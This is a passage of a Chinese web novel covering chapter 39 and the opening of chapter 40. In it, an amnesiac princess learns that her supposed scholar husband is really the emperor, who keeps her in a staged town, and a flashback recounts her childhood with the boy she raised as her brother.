南风面上满是苦恼与惊慌,“回陛下,属下赶到密室时,夫人已经消失不见了。看样子……” “……是宁梓谦将夫人带走了。” 第39章 第39章诺诺明明是我的夫人 在收回圣旨后,又下达了新的旨意,宣判中书令及门下侍郎秋后问斩,抄没所有家产后,长安城中数日以来的狼藉终于恢复得井然有序。 原本因此案被取消的乡试,也只是延后时日。 可天子的名声却早已因此坏了个透顶,在众人看来,此举措不过是在掩盖心虚。 而宋衍仍旧每日沉浸在不安与暴躁之中。 他无法入睡,将房间点了上百根蜡烛,死尸一般躺在床上,睁着眼睛,看着帏帐顶。 他甚至出现了幻觉,时常扭头时,好像沈遥便躺在自己身侧,安静地入睡,他尝试着去探她鼻息,却感受不到任何。当他疯了一般坐起,将帏帐全部撕扯到地上后,才发现沈遥根本不在。 他太想她了,他日日夜夜被思念与恐惧所折磨,最后拿着匕首,躺到极矮的床底下,才终于入睡。待睁开眼睛后,发现床板上被他不知何时刻满了“诺诺”。 狡兔三窟,说的便是宁梓谦。 他将沈遥带走后,宋衍调动了不少势力,竟都未将人给寻出来。若非他救沈遥有功,宋衍早就拿宁家开了刀。 如今宁家被暗卫包围,可过去这么许久,宁梓谦都未出现在宁家。 宋衍如今就像一块行走的冰,早朝之上冻得朝臣们瑟瑟发抖,连近前伺候的胡生都大气不敢出。 下朝后,南风三步并坐两步飞奔前来,禀:“陛下,城中以及附近都张贴了宁梓谦画像,刚才得到消息,有一小贩昨日在城中见过一面此人,后来又匆匆往东面通化门而出。” 宋衍轻哂:“胆子不小,还敢在城中出现。点一百侍卫,随朕出城。” “是!” 一小太监入太极殿内,在胡生耳边说了几句话后,胡生又上前禀:“陛下,沈芯姑娘想要求见陛下,说是刚画好一幅丹青,邀陛下观赏。” 宋衍像是没听到一般,对此毫不理会,直接快步走下台阶。 南风见状连忙跟上,只留下胡生和小太监在殿中面面相觑。 …… 沈遥醒来后,发现自己身处一处竹林间的小木屋之中。 四周静谧,她被宁梓谦扶着靠在身上,让她饮下糖水。 宁梓谦见她已转醒,温声解释道:“我请郎中悄悄来看过,你这情况其实是饿的,加上前些日子大病一场,身体刚愈,这才昏了过去。” 躺在男子怀中让沈遥略感不适,她撑着身子起来,靠坐一旁,见宁梓谦将没喝完的糖水递过来,她也不多想,将剩下的饮下。 “好多了。”沈遥自顾自用袖子擦了擦唇角,“我怎么会在这里?宋禾人呢?” “跑了。” “跑了?”沈遥一时间没反应过来。 仔细回忆一番,她只记得自己被宋禾带进了一处密室,后来她又饿又渴,那密室又密不透风,什么动静都听不见,也不知发生了何事,后来便直接饿晕了。 宁梓谦凝视着她,并不想提起宋衍,却还是道:“是那狗贼救了你,我跟着他来的。” “我夫君?你干嘛老骂人狗贼。那他人呢?”沈遥声音平静,没有任何惊喜,也没有沮丧。 宁梓谦漫不经心道:“不知。当时下密室时,我不知他哪儿受伤了,一直躺在地上不动弹。” 沈遥原本毫无波澜的心头一凛,立刻想要下床,“什么?那我得快些回去,他受伤,此时我又不在,定会忧心!” “诺诺。”宁梓谦喊了她一声,想要阻止她,见她不听,又几步上前挡住,“诺诺,你要去哪儿?” 沈遥双眼微眯,“自然是回葫芦镇。” “你为何还要回去找他?他连护你都做不到!” “可他是我夫君。”沈遥被挡住,心下不喜,面上却依旧冷淡,“他是我夫君啊。” “宁梓谦,我以为上一次在葫芦镇时,我说的很清楚了。虽然我感激你,也真心将你当作朋友,可我夫君既然受伤,我身为妻子怎能不回去。” “诺诺,你就这般信他?”宁梓谦不愿让开,脸上满是沉痛,“他不会有事的,有的是人照顾他。” “宁梓谦,让开,别逼我动手。” “诺诺!” “让开!” “诺诺!” 沈遥懒得与他吵,直接往左迈步,他却又堵上来。 “就算他骗了你,你也还是要回去吗?”宁梓谦大喊一声。 正要推开他的沈遥一顿,浑身紧绷起来,“什么意思?” 宁梓 谦无言片刻后,苦笑,“诺诺,你与他生活这些时日,即便失了记忆,就没有哪一刻怀疑过他的身份吗?” 沈遥退后一步,仰头看着他,“你说这话是什么意思?” 想到曾经宋衍对沈遥的洗脑,对他的威胁,便火冒三丈起来,“诺诺,那狗贼嘴里没句真话!他根本不是什么书生……” “宋,是吗?”面对暴跳如雷的男人,沈遥打断他,语气依旧很淡。 宁梓谦一时怔住,说不出话。 “所以,他果真姓宋,是么?”沈遥抬眉,“他与皇室什么关系?” 本是喋喋不休的宁梓谦倏然无话可说,只呆呆问:“诺诺,你怎么知道的?” 沈遥道:“宋禾字字句句都在暗示我,他与我夫君是兄弟,又强调过自己叫宋禾。虽然我待在葫芦镇,如井底之蛙,可‘宋’为国姓,这样的消息并不难知晓。” “宁梓谦,我是没有记忆,可我并非愚昧无知。他身为一商贾之子,普普通通的书生,为何会忙碌到几个月都无法归家?大周宵禁,纪律森严,我也是离开葫芦镇才知,为何他又能时常深更半夜才从外回来?为何他如此遭人嫉恨,对方甚至将主意都打到我身上?” 她清澈的目光透着几分伤感,“我不知他究竟姓不姓宋,可所有的一切,如今看来真是有了解释。他与皇室的关系,密不可分,更不是一个商贾之子,一个普通的书生。” “那为何你还要回去?”宁梓谦不可置信,“你明知他骗你!” 为何还要回去? 沈遥也不知。 为何明明对生活中点点滴滴产生了怀疑,她却从不拆穿? 是她一直在掩耳盗铃。 生而为人,便是对着自己都会说谎。而这世上最可悲的事情,是连自己都无法信任。 沈遥垂眸说:“我喜欢……喜欢在葫芦镇的生活,平淡淳朴。你说的那些我都懂,可即便如此,他也是我夫君,我们是彼此唯一的亲人,他对我也极好。况且,我们也已经圆房了。” “我相信,待我回去后问他,他会告知我一切的。” “圆房!”宁梓谦的重点被这两字彻底吸引。他目眦欲裂,猛地抓住她的手,“那个畜生逼迫你的?” 沈遥被他吓了一跳,摇头,用力将他手甩开,“无人可逼迫我。” 宁梓谦上下牙打颤,“可是,可是我才是……” 我才应该是你夫君啊。 “我除了回去,我还能去哪儿?”沈遥眼神闪烁,“我离开了时府,离开葫芦镇后,我的家在哪儿呢?” 宁梓谦:“沈遥!葫芦镇根本就是假的,根本不存在,里面那些人都是宋衍找来的戏子!那葫芦镇完全是那狗贼为你建的牢笼!” 沈遥久久无言,其实在宋禾提到“桃花源”时,她便隐隐猜到,却依然不敢相信。 “可是宁梓谦,我好像……离开了他,就无法生存下去了。”她声音很低。 宁梓谦瞪大了双眼,心底万般沉痛,对宋衍的痛恨达到顶峰。 面前的诺诺不应是这样啊。 “沈遥,不是这样的。”他上前握住她的肩膀,“你被他洗脑了,沈遥。” 他想告诉她,我才是你真正的夫君。 可想了想,他道:“沈遥,我告诉你,你有家,有归处。” “你是大周朝的永乐长公主,你的家在长安,你身份尊贵,你平日随意穿的一件不合时宜的衣裳,打马穿街过巷,整个长安的女眷便皆争相模仿。” “你的姨丈是河西节度使,在西北手握重兵,你的姨母是梁国夫人。诺诺,你是整个大周最尊贵的女人,你不应该是这样的。” “你的人生热烈似火,无所畏惧,你是照亮一切黑暗的光,你是我见过最美的女子。你不该自卑,不该怀疑自己。” 宁梓谦还是说了出来,他深呼吸长叹着,却也只说了这么多。 他没有办法告诉她,宋衍是皇帝,是她一手扶持,登上帝位的少年皇帝。除了宋衍对他的威胁外,他更怕的是看到沈遥难过。 因为那个人,是她曾经最信任的,一手养大的阿弟。 这场不伦,不应该成为伤害她的利器。 “永乐……长公主。”沈遥目光呆呆的,有些不可置信,却又忽然想到曾经做的那个梦。 她梦到过,“永乐”二字。 “可是,我连自己都不再相信,如何相信你口中的话?” 宁梓谦握着她的肩膀,“我带你去长安,我会让你亲眼去看。诺诺,没有人可以,也不应,骗取你的人生!” …… 宋衍带着侍卫在城外东边寻了一整日,却连一丝线索都未找到。 到了夜晚,才终于撑不住打道回宫。 太医令领着一群太医大张旗鼓入殿内,在给他身上换过药后,无奈道:“陛下此次伤得不轻,应卧床休息才是,这一整日马背上奔袭,如今伤势是更严重了。” 宋衍闭着眼睛,无所谓道:“你做好该做的便是。” “是,陛下。”太医令擦了擦额头冷汗。 这治病,三分靠医,七分靠病人。面前的人是他遇到最不听话的病人,可这病人的身份又是他最惹不起的。 能说的都已经说了,他只好又与胡生交代了些饮食清淡之类的注意事项。 离开时,宋衍还闭着眼假寐,太医令又看了一眼他的脚,绑着绷带的地方又开始渗血。明明最开始只是骨裂而已,他是真不理解面前这位陛下的想法。 太医令摇着头,又带着一群太医鱼贯而出。 宋衍今夜好不容易睡着,半夜忽然又惊醒过来,侧头一看,才意识到自己正躺在空旷的龙床上,而沈遥不在。 殿内依旧灯火葳蕤,他伸出手在空中抓了抓,却没有他真正的光。 宋衍睡不着了,也只能起身,忍着身体的不适与疼痛坐到案边,打开一只盒子,从里面拿出一节米白色,不知何材质的物体开始打磨起来。 他已经磨了几日,将这节物体与一节羊脂玉黏合一起,玉的顶端是两朵雕刻好的梨花。 晨光熹微时,他终于完成了手中的作品。 一支梨花簪。 他在阳光下转动着手中的簪子,羊脂玉与下方的米白被完美的融合一处,相得益彰,泛着细碎的光芒。 他漆黑的瞳孔在这一瞬间变得透亮无比,指尖激动到发颤。 曾经,他曾想过让诺诺吃下他身体的一部分,与她骨血相融。可后来,他换了主意,直到这次意外受伤,激起了他灵感。 很快便是诺诺生辰,他会在那之前将她找回来,将这支亲手做的簪子送给她。 他是属于诺诺的。 …… 宁梓谦知晓如今整个长安都在寻他和沈遥,可他依然选择带她入了城。 此行他给自己做了一些装扮,鼻子下方黏了一假胡子,又点上几颗痣,而沈遥则是女扮男装。 沈遥入了城后慢悠悠走着,反倒是宁梓谦心虚,总是贼眉鼠眼四处扫视。 她不解地拍了一下他的背,“你干嘛?怎这么心虚?” “还不是怕被狗贼给发现。”宁梓谦压着嗓子, 沈遥翻了个白眼,“你这样鬼鬼祟祟,是更想引人注目?” 宁梓谦一怔,仔细想想好像是这个道理,便又直起了腰。 他不敢带沈遥回宁府,并非猜到宋衍在宁府四周布满暗卫,而是担忧被他爹娘发现后,就真再走不出家门。 如今宁家屈膝权威之下,与宋衍沆瀣一气,他是玩儿不过。 沈遥一路上打量着街道,与葫芦镇唯一的不同之处,只是街道更长,店面更多,行人小贩更为拥挤。 她看到醉香居,忽然想起当初宁梓谦时常买了这家鸡腿,偷摸来葫芦镇寻她。 宁梓谦见她神情便猜到,“要进去尝尝?” 沈遥有些饿了,便点头跟随着入内。 两人低调,只寻了一处角落坐下,又点了几只烤鸡腿,还有两碟小菜。 填饱口腹之欲后,宁梓谦激动问她:“诺诺,怎么样?可有何印象了?” 沈遥用帕子擦过嘴唇后摇摇头,“这鸡腿确实好吃,比你上次带出来给我的香。” 宁梓谦笑道:“那肯定啊,这店里吃的,可是刚出炉的。” “想当初你在长安最喜醉香居,有一阵子,不少人听闻后纷纷来此地尝烤鸡腿,醉香居都供不应求。” 沈遥垂眸,没有情绪地“嗯”了一声。 宁梓谦起身,“走!我再带你 去看看别的!” 在城中游荡了一个上午,宁梓谦带着沈遥走过她曾去过的许多地方。 走过灞桥,到西市看了胡姬,又去了平康坊各个妓馆外听了几支小曲儿,文人雅客吟诗作赋,为博红颜一夜春宵。 沈遥腿走得快断了,揉着脚踝喊住宁梓谦,对方这才发现。 他又连忙去租了辆马车,让沈遥坐在车上歇脚。 一直到傍晚,宁梓谦才最后带着沈遥去了永乐长公主府。 沈遥掀开车帘,看着车厢外富丽堂皇的府邸,一时语塞。 看得出来,长公主身份尊贵,这府邸定是圣上亲赐,位于长安城内最好的地段,占地面积又极广,听说足足五进。门口两尊气派石狮,外墙高耸,青石铺就,墙头饰着琉璃瓦。 以及……门匾上的鎏金大字,“永乐长公主府”。 沈遥几乎瞬间便认出来,那字迹很熟悉,是夫君时衍,不对,宋衍的亲笔题字。 沈遥抿唇扭过头,放下车帘,久久沉默,袖下双拳攥紧。 她愈发看不清夫君的真实身份,又或者说,其实猜到了,却不敢接受。 宁梓谦坐在马车头,见她不说话,问:“想起什么来了吗?” 沈遥垂眸摇头。 宁梓谦揉着脖颈,两人间气氛一时凝滞,“诺诺,你怎么了?看到自己的家不开心?” “骗子。” 沈遥细若蚊音,宁梓谦并未听清,“你说什么?” 她抬起头,面色淡然,问他:“你既说我是长公主,可国姓为宋,为何我姓沈?” 宁梓谦一顿,又解释道:“你是大周唯一的异姓公主,与皇室,其实并无血缘。” 此话一出,连沈遥都没发觉,她心底暗自松了口气,却又闷闷的。 “走吧,我不想逛了,反正什么也想不起来。” 宁梓谦看出沈遥心绪不宁,却又不知为何,只能干巴巴地“哦”了一声,随即驾马往城外走。 “也好,看起来快到酉时,也是要宵禁了。” 沈遥嘴角一扯,想说什么,却还是没开口。 马车驾到一半,宁梓谦看到什么,又立刻停了车,叫沈遥稍等,自己下了车。 她对他的行动没什么兴趣,思绪还沉浸在刚才的长公主府,久久无法回笼。 等回神时,沈遥一怔,面前出现了一支糖人,胖女娃娃的。 宁梓谦咧嘴一笑,“忘了这个,也是诺诺最喜欢的。” 沈遥怔怔接过,微微一笑,朝着他道谢。 宁梓谦见状心底放松了些,又继续驾马车往城外赶。 如今看着手中的糖人,她便不自觉想到端午那夜。夫君亲手做了一个很丑的糖人送她,还弄了一手烫伤。 他身着暗红锦袍,在烟花下格外好看。 也是那夜,她吃醉了酒,夫君隔着一块绢丝帕子,偷偷摸摸亲了她。 他以为她不知,其实她一直记着。 好像所有的一切,都在那一夜变了。 这个骗子。 马车一路顺利地驶出城门,还没走多远,后面骤然传来一阵马蹄。 有人大喊:“站住——” 沈遥还没反应过来,马车已经快速飞奔起来。 “怎么了?” 宁梓谦拼命甩着马鞭,不断冲刺加速,他没法儿分心转头,只能喊一声:“诺诺,抓紧,别摔了!” 后面的人骑着快马,还在拼命喊“站住”。 沈遥仔细一听,发觉那是南风的声音。她似乎明白了什么,立刻抓紧车厢门框。 马车一路摇摇晃晃,好几次她身子撞在车壁上,磕得她生疼。一时不察,手中还未来得及品尝的糖人掉落地上,裂成了两半。 马车跑得再快,也不如单个马匹,很快便被一圈骑着马的侍卫堵住,宁梓谦也不得不拉停,下马。 冷淡而熟悉的声音从外面传来,“宁梓谦,不想死就把我夫人还来。” 沈遥没有掀开车帘,眼底闪光,那声音一听便是她的小骗子。 宋衍心急如焚,没养好的身子又有些撑不住。 忙碌一整日,在刚才不久,南风匆匆来禀,说早晨有人在城中醉香居见到了宁梓谦,与画像上很像。 许是宁梓谦做了装扮,那人并不能确定,却还是为了巨额赏金,跟了两人一路,直到真的确定后才禀了官府。 宋衍一接到消息,便顾不上任何,直接带着人快马冲出城,这才终于追上宁梓谦。 此刻他心跳剧烈,疯狂,血液沸腾得整个人快炸了似的。 他狼狈,害怕,又惶恐,不确定沈遥如今知晓了多少真相。可有一点他极为确定,无论沈遥知道什么,他都不会放她离开。 宁梓谦知道自己跑不掉,下了马车,却没走上前,只站在一旁,似笑非笑,“夫人?你在说什么?诺诺明明是我的夫人。” “你!”宋衍扫视着那辆小马车,咬紧牙关,此时他不敢用权威压制宁梓谦,生怕在沈遥面前暴露身份,最后只能怒道:“宁梓谦,你不过是一被官府通缉的盗贼,如今绑我夫人,你觉得你今日还跑得了吗?” 沈遥在车内听着宁梓谦狂笑,目光从碎裂的糖人,透过车帘的缝隙,游移到宋衍的脸上。 他身上的衣服皱巴巴的,不知是不是骑马骑的,唇无血色,脸色苍白,两眼发青,活像一只厉鬼。 明明还是那张熟悉的脸,带着落魄,可气质却与平日大不相同,他的身上有很强烈的贵气与威压。 这个男人,看着温柔,实则霸道得很,而且还是个妥妥的疯子,不过他疯起来,一般都是对着他自己疯,对着他自己自虐。 他的身后站着成群的侍卫,各个高大威武,手持利刃,一看便知受过极为严酷的训练。 正在此时,宋衍也看了过来,透过缝隙,两人视线相撞,虽然皆是面不改色,心却如雷鸣般剧烈跳动起来。 早已超过一月未见,到此时,沈遥才发现,她其实蛮想这个小骗子的。 不知多久前,他们还是夫妻,在鸳鸯帐赤诚相对,疯狂拥抱亲吻,纵。/情。声。色。 可是,她此刻也生气,也恨,还隐隐害怕,又好笑。这样复杂的情绪,她想不清楚,说不明白,只能沉默以对。 宁梓谦狂笑了好一阵,笑到眼泪掉出,才终于平静下来,他充满血丝的眼睛恨恨盯着宋衍,“我不会将我、的、妻、子、交给你这狗贼!” 他特意重重强调了“我的”二字,眼见着宋衍处在暴怒边缘,他立刻从腰间掏出一把匕首,电光火石间直接刺入了马屁股。 马儿受了惊,尖叫起来,在众人还未反应过来时便冲撞开侍卫往前奔跑而去。 宋衍怒视,来不及发作,只大骂一声“蠢货”,便立刻按辔上马,夹紧马腹挥鞭追上去。 马车毕竟不稳定,车内的沈遥同样咒骂着宁梓谦这蠢货,被摇摇晃晃的车厢撞得脊背生疼。 陡然间,马车绕了一个弯,车轮碾过石子,整个马车在急速奔跑下侧翻在地,被受了刺激的马拖着往前停不下来。 宋衍追上前,从腰间拔剑,一把砍断了连接马车的绳子,马车才终于在散架前堪堪停下。 而原本在马车内的沈遥,在车侧翻的一瞬间,便撞了头,两眼发黑晕了过去。 在晕过去的瞬间,车帘被风掀开,刺眼的光线带着一幅幅画面如潮水般,连贯又完整地涌入脑海。 第40章 第40章(沈遥的记忆)须弥芥子…… 梨花花期正盛的初夏,花瓣如潮,纷纷洒洒。 花树下,是沈遥的身影。 手持木剑,光影如雪,剑尖轻佻,倏然划破空中坠落的花瓣群。 母亲韩娆站在不远处,背靠花树,手中抱着四岁的妹妹。 待沈遥收剑,走到母亲面前仰头时,她才将目光移到沈遥身上,淡淡道:“练得熟练不少,你爹今日回来,到时候练给他看。” 沈遥耳根子微红,飞快勾了下唇,又放平。 父亲身居五品中郎将,平日里忙碌,常不着家,母亲又是冷淡的性子,所有的精力都放在先天病弱的小妹身上。 长安城中,五品官遍地都是。 好在父母恩爱,没什么乱七八糟的小妾,一家人生活也是惬意。 每次父亲回家后,他都会指导一番沈遥剑法功夫。 他常咧嘴大笑,说身为武将长女,怎能如普通闺阁姑娘那般赢弱。 可也是这一日,父亲沈光带回来的人,打破了沈遥原本平静的生活。 “诺诺,这是你阿弟,时衍,小你两岁,以后便是家中二弟弟。身为长女,定要树立榜样,照顾好弟弟。” 沈光一脸僵硬地将小男孩儿推到沈遥面前,又摸了摸她的头以示安抚。 这个叫时衍的男孩儿瘦瘦小小,头发枯黄,看着赢弱不堪的样子,衬得眼睛很大。他一直低着头,唯唯诺诺不敢直视人,身上的衣裳很新,看起来是沈光路上买的。 沈遥当时难以形容自己心底的震惊,惶然,与无措,以至于她一句话也说不出。 二弟弟? 父亲母亲什么时候生了孩子? 她扭头看向站在不远处的母亲,依旧是那副冷淡的模样,可抱着小妹的手在不断发颤,泄露了她心底的兵荒马乱。 韩娆问:“怎么姓时,不姓沈?” 沈光讪讪:“跟她娘姓,她娘去世了,如今无依无靠,我便接了回来,夫人放心,咱家只会有诺诺和绵绵姓沈。” 沈遥听明白了,面前这个叫时衍的男孩儿是父亲的私生子。 韩娆久久沉默,连一个眼神都未留给小时衍,只吐出一句“随便你”,便抱着小妹转身离开,入了屋子。 沈光双拳紧握,有什么话想脱口而出,却最终什么也没说,只得长叹一声,追上韩娆,进了屋子哄人。 小小的庭院只剩下二人,沈遥攥紧了手中的木剑,手心的冷汗不断溢出。 她举起木剑架在小时衍肩上,轻轻拍了拍,语气冷淡:“你,抬起头来。” 小时衍终于抬头直视进沈遥的双眼,那一瞬间,她怔了一下。 男孩儿的眼珠子很黑,黯淡无光,好似天生便身在黑夜之中,从不见光明。 可这与她无干,这个父亲的私生子,破坏了她的家。 原本母亲便更宠小妹,对自己不理不睬,父亲常不着家,如今多了个二弟弟分走父亲注意,又伤了母亲的心,以后的日子,怕更是难过。 八岁的沈遥个头高一些,她居高临下,“看着!什么叫作天外飞仙剑法,人剑合一!” 说完,她便退后两步,开始耍起了她刚练熟的那套剑法,梨花交错间,每一剑刺出都极为犀利。 小沈遥的本意是吓唬一番这个突如其来的私生子,让他以后在沈家夹紧尾巴做人。 不知是不是太过紧张,以至于她招式冒进,一个旋身的瞬间,被地上的石头绊了一脚,而后便人剑合一地飞了出去,撞在树上。 树木震颤,梨花滚滚飘落,好似在嘲讽她一般。 沈遥震惊地捂着头,面无表情站起身,又将身上的尘土拍尽,扭过头去高冷地看向时衍。 对方依然面无表情,也不说一句话,直愣愣站在原地,活像一又聋又哑的小呆子。 沈遥轻咳一声到他面前,恶狠狠道:“你刚才什么也没看到!” 时衍愣怔半晌,才呆呆地点了点头。 沈遥背着手,又确认了一遍,“你刚才看到了什么?” 时衍这次反应很快,飞快地摇摇头,表示自己选择性遗忘了刚才的场面,依然一句话不说。 “臭弟弟!” 沈遥哼了一声,一声“弟弟”算是认可了他在这个家的地位。 她扭过头离开,高高竖起的发丝打过他的脸。 认了阿弟,可并不代表沈遥喜欢。 相反,她讨厌极了这个突然多出来的私生子,特别是母亲韩娆那日起后,便没出过房门,连带着小妹都受了冷淡。 她从没给过他好脸色,好在臭弟弟平日也是低调又乖巧,每日躲在自己房间,从不惹事。 就是这个人怪怪的,从来不说话,所有人在院子玩耍,吃着烧烤时,他就蹲在一旁的树下摆石头,将挑选出来一样大小的石头排列成一条线。 这么无聊的游戏,他可以一个人玩上一整日,直到不长眼的下人路过时,将整齐的石子一脚踢飞。 沈遥有一只养了很久小白猫,是母亲的好友送的。 小妹沈芯身体不好,大门不出,二门不迈,年纪又小,于是照顾小猫的职责落到了沈遥头上。 如今小猫也有五岁,吃得胖乎乎,可有一日却不知跑去了哪儿,她带着两个小子四处寻找。这两小子,一个是马夫的儿子,另一个是一洒扫仆妇的儿子,整日跟在她身后转悠,阿谀奉承。 母亲冷淡不理世事,父亲则是武将大老粗一个,并不看重男女之间的距离。 他们找了一个下午,却都没看到小猫的影子。 眼看沈遥急切起来,马夫的儿子忽然提到:“还有一个地方没找!” “什么地方?” “时衍那小子的房间啊。” 沈遥仔细想想,确实如此,便直接带着两人去了那处厢房。 臭弟弟不知去了何处,并未在房中。 那两小子进入后,还没等沈遥发话,便二话不说,上前翻箱倒柜,所有整理好的东西,干净的衣裳,书籍,全被扔在地上。 当时衍走回房间时,那两人才终于停下动作,他们眼尖地叫起来:“我就说!猫儿果然在这小子这儿!” “就是你小子偷了大小姐的猫!” 沈遥站在房间的正中央,时衍没什么情绪地扫过他们三人,以及凌乱的屋子。 他身上的衣服灰扑扑的,不知去了何处,还钩破了一角。 怀中抱着的小白猫可不就是她的那只。 时衍一言不发走上前,将怀中的猫儿小心翼翼地交回到沈遥手中,而后又转身开始收拾起自己房间。 沈遥垂眸看着猫儿,发现小猫没受到任何惊吓,只一直在怀中咕噜沉睡。虽然白毛也被弄脏些许,可似乎并非这两小子说的那样。 她又望向时衍,面对那两小子喋喋不休的咒骂,他没出口反驳一句。 他将地上被踩坏的书捡起,落在一旁破旧的小案几上,接着又去捡被彻底撕烂的帷帐,踩脏的衣裳。还有那件第一次来沈家所穿的暗红色小袍,不仅被撕成两半,上面还沾满了打翻的墨汁。 那一瞬间,沈遥虽面不改色,却没来由的心慌。 还在臭骂脏话的两小子彻底惹了沈遥怒,她提高了声音朝他们骂了一句,“闭嘴!吵死了!给我滚出去!” 那两人瞬间怂了下来,面面相觑后只得走出房间。 收拾好东西的时衍一瞥沈遥,依然没说什么话,也没什么表情。 倒是他房中的东西,该坏的都摔坏了,连一件完好的衣裳都没有。 沈遥摸了摸鼻子,躲开他视线匆匆逃离作案现场。 又不是她让那两蠢货搞的,与她没关系。 是的,她只是去找猫而已。 何错之有? 只是连续两日,沈遥都被心底一股奇怪的愧疚和那双漆黑的眼眸,折磨得难以入睡。 第三日,她在清晨刚解除宵禁后,便将自己存的所有零钱,还有两三只玉簪手镯装进钱袋,带着平日照顾她的姜妈妈跑出沈府。 她回忆着臭弟弟的身型,先跑了当铺,又去了成衣店,书店,将所有她能想到的东西都置办好,最后还剩下几两银子,趁着臭弟弟不在,一同与那些买好的东西全部留在他房中。 再后来,她发现,那两小子私下里还总欺负臭弟弟。 她当时也只是无意撞见,那臭弟弟蠢笨得很,明明是这家的主子,被 下人欺负却也不知反抗,连告状都不会。 真是没见过比他更蠢的了。 罢了,既然她身为长姐,就帮他一把好了。 她私下又寻来那两小子,还有马夫和仆妇,拿着马鞭教训了他们一通。 “不论如何,时衍也是我爹的儿子,是我阿弟,是这沈家的主子。你们身为下人以下犯上,若再叫我发现,那我只能告诉我爹,将你们这些不知死活的人都给发卖了。” 正是梨花花期结束时,她的生活照旧,每日练剑,养猫,与臭弟弟的交集并不多。 盛夏阳光刺眼,她练了一身汗,坐在花树下歇息,看着已经落光的梨花,又想到每日闭门不出的母亲,心里闷闷的。 忽然一阵阴影覆下,这个季节的最后一朵梨花被戴在她发髻上。 她一怔,抬起头,没想到是她的臭弟弟。 小时衍笑得有些腼腆,“给……阿姐。” 沈遥看着他许久,见他插完花后手指拧巴在一起,又将头低了下去,柔柔弱弱,不成样子。 她最不喜欢懦弱之人,可这是她的臭弟弟。 罢了。 沈遥:“原来你不是哑巴。” 臭弟弟“嗯”了一声,退后两步似乎想要离开。 沈遥不知那时是什么撩动了她心底最柔软的那根弦,或许是当时的一阵风,或许是烤得人发黑发烫的太阳,又或许是那朵带着清香的梨花。 她喊住他:“喂,臭弟弟,你想学剑吗?我教你啊。” 秋去春来,白驹过隙。 十二岁那年的冬夜,正是众人沉睡时,她的房门被母亲韩娆猛然推开。 寒风呼啦呼啦灌入,她被惊醒后,看着母亲牵着沈芯跑到她的床前,而后慌里慌张从柜子中翻出沈遥的衣裳,一边急切道:“快走!快带绵绵离开!去甘州,找你姨母!” 姨母? 沈遥自然是见过姨母韩秀华的,当初嫁给姨丈时被许多人嘲讽,后来谁能想到,姨丈竟成了一方手握重兵的河西节度使。 沈遥揉着眼睛,看着自己被褥上被丢来的衣服,脑袋晕乎乎地快速将衣服穿好。 “娘,发生何事了?” 她看着韩娆将贵重首饰,银子飞快地打包,塞到她怀中,用力握住她的肩道:“你爹已被扣在宫中,圣上的铁甲已经朝着咱们沈府来了!没有时间了,你带着绵绵从背后那处狗洞逃,记着,一路上不要求助任何人,一直向西,只有入陇右才能安全!” “爹?爹为何会被扣住?爹一生清正,是不是圣上误会了什么?”沈遥拉着沈芯,被韩娆二话不说推着往后院走。 韩娆面上依旧是那无表情的冷清模样,“是时衍,时衍原来是曾经涉及谋反的晋王之子,被你爹藏在家中,如今被发现了。” 沈遥心惊肉跳,听着沈府外铁甲寒剑碰撞的声音,瞪大了眼睛,“那娘你呢?你和我们一起走啊!” 韩娆摇摇头蹲下,抓她的手又加重了几成力,还是那副面无表情的样子,却双眼猩红,“我不能丢下你爹离开,他需要我。诺诺,你是家中长姐,未来要护好妹妹。你们是这世上最亲的亲人,流着相同的血,不论如何,你们都必须齐心协力,不离不弃,听到了吗?” 沈芯陡然“哇”一声哭了出来,大喊着:“娘!娘!绵绵舍不得你!” 韩娆冷淡道:“你以后好好听你阿姐的话!” 沈遥眼眶发红,抿着的唇不断颤抖,她还来不及告别,来不及再多说一句话,韩娆已经起身离去。 她只能看着母亲坚定的背影,月色下,沈府大门被铁甲冲破,火光一簇簇涌入视线,母亲的身影逆着光,过往所有的安定被彻底燃烧殆尽。 沈遥咬牙,心跳如擂,转身拉着沈芯往墙根处冲,好在她们身型小,动作快,她很快将小妹从那处狗洞塞了出去。 可当她俯下身子准备往外钻时,脑海中突然浮现出那双漆黑的眸子。 紧迫的情势由不得她丝毫犹豫,“绵绵,你先往外跑,还记得咱们之前去过牛阿叔家吗?往那边去,阿姐很快就来找你!” 沈芯瞬间惊慌失措地抓住她的手,“阿姐!你要去哪儿?” 沈遥强迫自己镇定下来,“我们得带小衍走,他是你二哥,以他的真实身份,他要是被抓住了,绝对活不了。” 沈芯哭着摇头,死抓着沈遥的手不放,“阿姐,都火烧眉毛了,就别管他了!他不是我二哥哥!” 沈遥扭过头,看了一眼满府狂奔逃命的下人们,闭了下眼,用力抽出自己的手,坚定道:“可他是我阿弟。” 说完,她即刻转身往臭弟弟平日住的房间跑去,却空荡一片,没见着人。 眼见着铁甲们即将搜到此处,沈遥终于想到了一个地方。 小白猫曾经跑上一棵老槐树被卡住下不来,就是那一次,时衍发现了猫儿,爬上树将它带了下来。 当沈遥绕到那棵老槐树处时,果然见到了躲在树上,怀中抱着老白猫的时衍。整个人小小缩成一团,头埋在膝间,似乎已经预料到自己会被抛弃一般。 “小衍!” 听到沈遥声音的时衍倏然抬头后往下看,眼中依旧是那漆黑的眸。 她朝他伸手,“小衍,别怕,阿姐会护好你。” 那一夜,她牵着他的手,他的怀中抱着猫,两人在府内拼命狂奔。 好在他们还算幸运,被铁甲发现前的关键之机顺着狗洞逃出了沈府。 沈芯没有往牛阿叔家去,只是坐在狗洞外哭个不停。 那一夜,沈府内的火光染红了天际,她终于意识到,她必须长大了。她带着二弟三妹,还有那只白猫,踏上了前往甘州的路。 然而天不遂人愿,她太高估自己的能力。 彼时大周四处战乱,起义军造反,王侯将相竞相争雄。在第二年的途中,她无意知晓了父亲母亲的死讯,同一月,小妹和猫儿走失在难民的混乱之中。 夜里天降大雪,她与臭弟弟坐在难民营的一处角落。 手脚都生了冻疮,臭弟弟将白日抢来的白面馒头悄悄塞到她手中,自己握紧藏在腰间的匕首,紧挨她身旁。 “阿姐两日没吃东西,会撑不下去的。” 沈遥没有一丝胃口,只是看着饱受战乱的难民们,衣衫褴褛,瘦骨嶙峋,婴儿哇哇啼哭后,渐渐没了声音,紧接着是女人哭天抢地的声音,很快又是男人的咒骂声与拳脚声。 “小衍,你看。” 时衍朝着沈遥目光所在看去,男人似乎是女人的丈夫,受不了女人的哭喊,周围人面如死灰的看着。没有人愿意去管这档子事儿,更何况是如今这样不知何时便会曝尸荒野的时刻。 “你还记得沈家出事的前一天吗?母亲刚刚过生辰,父亲为母亲准备一匹白驹作礼。那天母亲露出了这么多年来,为数不多的笑。” “……对不起。” 